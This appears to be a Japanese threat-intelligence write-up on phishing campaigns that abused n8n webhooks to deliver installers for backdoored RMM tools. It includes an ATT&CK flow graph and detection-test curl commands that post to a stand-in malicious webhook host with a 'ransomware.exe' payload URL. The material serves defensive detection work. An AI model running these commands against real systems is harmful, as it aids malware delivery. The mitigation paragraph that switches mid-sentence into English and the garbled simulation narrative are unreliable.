SOC Prime Bias: 中程度

16 4月 2026 15:14

脅威アクターがn8nを悪用してAI駆動型攻撃を自動化

Author Photo
Ruslan Mikhalov SOC Primeの脅威リサーチ責任者 linkedin icon フォローする
脅威アクターがn8nを悪用してAI駆動型攻撃を自動化
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

概要

脅威アクターは、n8nのローコード自動化プラットフォームを悪用して、悪意のあるペイロードを配布し、メールの受信者をプロファイリングしています。フィッシングメッセージに有害なWebhook URLを埋め込むことで、被害者のシステムにリモートアクセスツールを展開する実行ファイルやMSIインストーラーを配信することができます。この活動には、メールが開封されたときに被害者の情報をすぐに収集する不可視のトラッキングピクセルの使用も含まれています。このキャンペーンは、正当なワークフローオートメーションサービスが盗まれた資格情報を必要とせずに、マルウェア配布のために再利用される方法を示しています。

調査

Cisco Talosは、2025年10月から2026年3月の間に観察された一連のフィッシングキャンペーンを分析しました。これらは、メールメッセージに埋め込まれたn8n Webhook URLに依存していました。ルアーとして使用されたのは、偽のOneDriveリンクで、最初にCAPTCHAプロンプトを表示してから、悪意のある .exe またはMSIファイルを提供しました。一度実行されると、これらのペイロードはDattoまたはITarian RMMツールの改変版をインストールし、永続性を維持するためのスケジュールされたタスクを作成しました。Talosはまた、画像タグを通じたフィンガープリンティング活動も発見し、これには被害者に特有の識別子を含むn8n Webhook URLが呼び出されました。

緩和策

組織は、自動化サービスを通常使用しないシステムからのn8n関連ドメインへの異常な外向きトラフィックを監視し、不審なWebhook URLパターンを検査する必要があります。未知のサブドメインに解決するURLは、ユーザーアクセスが許可される前にサンドボックスでブロックまたは実行されるべきです。メールセキュリティ制御も、悪意のあるHTMLコンテンツ、偽のCAPTCHAフロー、隠されたトラッキングピクセルを検出できるように調整されるべきです。関連するIOC(Webhook URLや悪意あるファイルのハッシュを含む)は、脅威インテリジェンスプラットフォームおよび内部ディフェンダーと共有されるべきです。 n8n.cloud should be blocked or detonated in a sandbox before user access is allowed. Email security controls should also be tuned to detect malicious HTML content, fake CAPTCHA flows, and hidden tracking pixels. Relevant IOCs, including webhook URLs and malicious file hashes, should be shared with threat intelligence platforms and internal defenders.

対応策

セキュリティチームは、メールコンテンツやネットワークのテレメトリーにn8n Webhook URLが存在することをアラートし、不審な活動が確認され次第、影響を受けたホストを隔離するべきです。インストールされたRMMツールや関連するスケジュールされたタスクは削除され、追加の永続化または後続のペイロードを明らかにするためにフォレンジック分析が行われるべきです。ファイアウォールおよびプロキシポリシーは認可されていないn8nエンドポイントへのアクセスを制限するよう更新されるべきです。組織はまた、内部チームおよび信頼できる外部パートナー全体で完全なIOC共有プロセスを完了するべきです。

"graph TB %% クラス定義 classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccccff %% ノード action_phishing["<b>アクション</b> – <b>T1566 フィッシング</b>: 脅威アクターがn8n Webhook URLを含む悪意のあるメールを送信して被害者を誘惑します。<br/><b>説明</b>: フィッシングはメールを通じて悪意のあるコンテンツを配信しようとします。"] class action_phishing action tool_webhook["<b>ツール</b> – <b>名前</b>: n8n Webhook<br/><b>説明</b>: ペイロードを配信するためのカスタムウェブエンドポイント。"] class tool_webhook tool action_user_execution["<b>アクション</b> – <b>T1204.001 ユーザー実行: 悪意のあるリンク</b>: 被害者がWebhookリンクをクリックし、ブラウザがURLを要求します。<br/><b>説明</b>: ユーザーが悪意のあるコンテンツとインタラクトします。"] class action_user_execution action action_exfil_webhook1["<b>アクション</b> – <b>T1567.004 Webhook経由でのデータ外部送信</b>: WebhookはCAPTCHAを含む悪意のあるHTMLページを返し、ペイロード(EXEまたはMSI)をストリーミングしつつトラッキングピクセルを提供します。<br/><b>説明</b>: ウェブサービスを利用してデータを配信および外部送信します。"] class action_exfil_webhook1 action malware_payload_exe["<b>マルウェア</b> – <b>名前</b>: ペイロード EXE/MSI<br/><b>説明</b>: PowerShellを実行して修正されたRMMツールをインストールします。"] class malware_payload_exe malware action_powershell["<b>アクション</b> – <b>T1059.001 PowerShell</b>: ダウンロードされた実行ファイルがPowerShellコマンドを実行して修正されたRMMツールを設定およびインストールします。<br/><b>説明</b>: コマンドおよびスクリプトのインタープリター。"] class action_powershell action malware_rmm["<b>マルウェア</b> – <b>名前</b>: 修正されたRMMバックドア<br/><b>説明</b>: 永続性のために使用されるリモート監視および管理ツール。"] class malware_rmm malware action_service_execution["<b>アクション</b> – <b>T1569.002 サービス実行</b>: RMMツールがWindowsサービスとしてインストールされ、永続性を維持します。<br/><b>説明</b>: システムによるサービスを介して実行します。"] class action_service_execution action action_scheduled_task["<b>アクション</b> – <b>T1053 スケジュールされたタスク/ジョブ</b>: RMMツールが持続的に動作するようにスケジュールされたタスクが作成されます。<br/><b>説明</b>: 定期的な実行を確保します。"] class action_scheduled_task action action_msi_execution["<b>アクション</b> – <b>T1218.007 Msiexec</b>: msiexecを介して悪意のあるMSIが実行され、RMMバックドアが展開されます。<br/><b>説明</b>: システムのバイナリプロキシ実行。"] class action_msi_execution action action_exfil_webhook2["<b>アクション</b> – <b>T1567.004 Webhook経由でのデータ外部送信</b>: 不可視のトラッキングピクセルがWebhookをロードし、メール開封イベントやデバイス情報を偵察のためにキャプチャします。"] class action_exfil_webhook2 action %% 接続 action_phishing –>|delivers| tool_webhook tool_webhook –>|triggers| action_user_execution action_user_execution –>|leads to| action_exfil_webhook1 action_exfil_webhook1 –>|delivers| malware_payload_exe malware_payload_exe –>|executes| action_powershell action_powershell –>|installs| malware_rmm malware_rmm –>|persists via| action_service_execution action_service_execution –>|creates| action_scheduled_task action_scheduled_task –>|supports| action_msi_execution action_msi_execution –>|deploys| malware_rmm malware_rmm –>|communicates via| action_exfil_webhook2 "

攻撃フロー

シミュレーション実行

前提条件:テレメトリー&ベースラインの事前フライトチェックが通過している必要があります。

根拠:このセクションは、検出ルールをトリガーするように設計されたアドバーサリーテクニック(TTP)の正確な実行を詳細に説明します。コマンドとナラティブは、特定されたTTPを直接反映し、検出ロジックが期待する正確なテレメトリーを生成することを目的としています。

  • 攻撃のナラティブとコマンド:

    攻撃者が短命のドメインを購入し、それを n8n.cloud/webhookに指すようにします。悪意のあるn8nワークフローを作成し、一度トリガーされると、ランサムウェアペイロードを提供します。フィッシングメールには、CAPTCHAチャレンジのリンクが含まれています。被害者がCAPTCHAを解くと、攻撃者のJavaScriptが CAPTCHA=solved123 という値としてフォワードします。Webhookはペイロードを実行するPowerShellダウンローダーを返します。このフローは、URLに n8n.cloud/webhook and という文字列を含むHTTPリクエストを生成します。 CAPTCHAを含むHTTPリクエストを生成し、Sigmaルールに完全に一致します。

    # ステップ1 – 被害者がCAPTCHAを解く(シミュレーション)
    CAPTCHA_TOKEN="solved123"
    
    # ステップ2 – 被害者の行動を模倣する悪意のあるPOSTを作成
    curl -X POST "https://my.malicious-n8n.cloud/webhook/malicious-workflow" 
         -H "Content-Type: application/x-www-form-urlencoded" 
         --data-urlencode "CAPTCHA=${CAPTCHA_TOKEN}" 
         --data-urlencode "payload_url=https://malicious.example.com/ransomware.exe"
  • リグレッションテストスクリプト:

    #!/usr/bin/env bash
    set -euo pipefail
    
    # 変数 – テスト環境に合わせて調整
    WEBHOOK_HOST="my.malicious-n8n.cloud"
    WEBHOOK_PATH="/webhook/malicious-workflow"
    CAPTCHA_TOKEN="solved123"
    PAYLOAD_URL="https://malicious.example.com/ransomware.exe"
    
    echo "[*] CAPTCHAを利用したn8n Webhookの悪用をシミュレーションしています..."
    
    curl -s -o /dev/null -w "%{http_code}n" -X POST "https://${WEBHOOK_HOST}${WEBHOOK_PATH}" 
         -H "Content-Type: application/x-www-form-urlencoded" 
         --data-urlencode "CAPTCHA=${CAPTCHA_TOKEN}" 
         --data-urlencode "payload_url=${PAYLOAD_URL}"
    
    echo "[+] シミュレーション完了。SIEMでの検出を確認してください。"
  • クリーンアップコマンド:

    # テストのために実際のWebhookを作成した場合は、n8n UIまたはAPIを介して削除してください。
    # API呼び出しの例(API_KEYおよびWORKFLOW_IDを置き換えます):
    curl -X DELETE "https://my.malicious-n8n.cloud/webhook/malicious-workflow" 
         -H "Authorization: Bearer API_KEY"
    
    # 一時ファイルを削除(このスクリプトでは作成されていません)
    echo "[+] クリーンアップ完了。"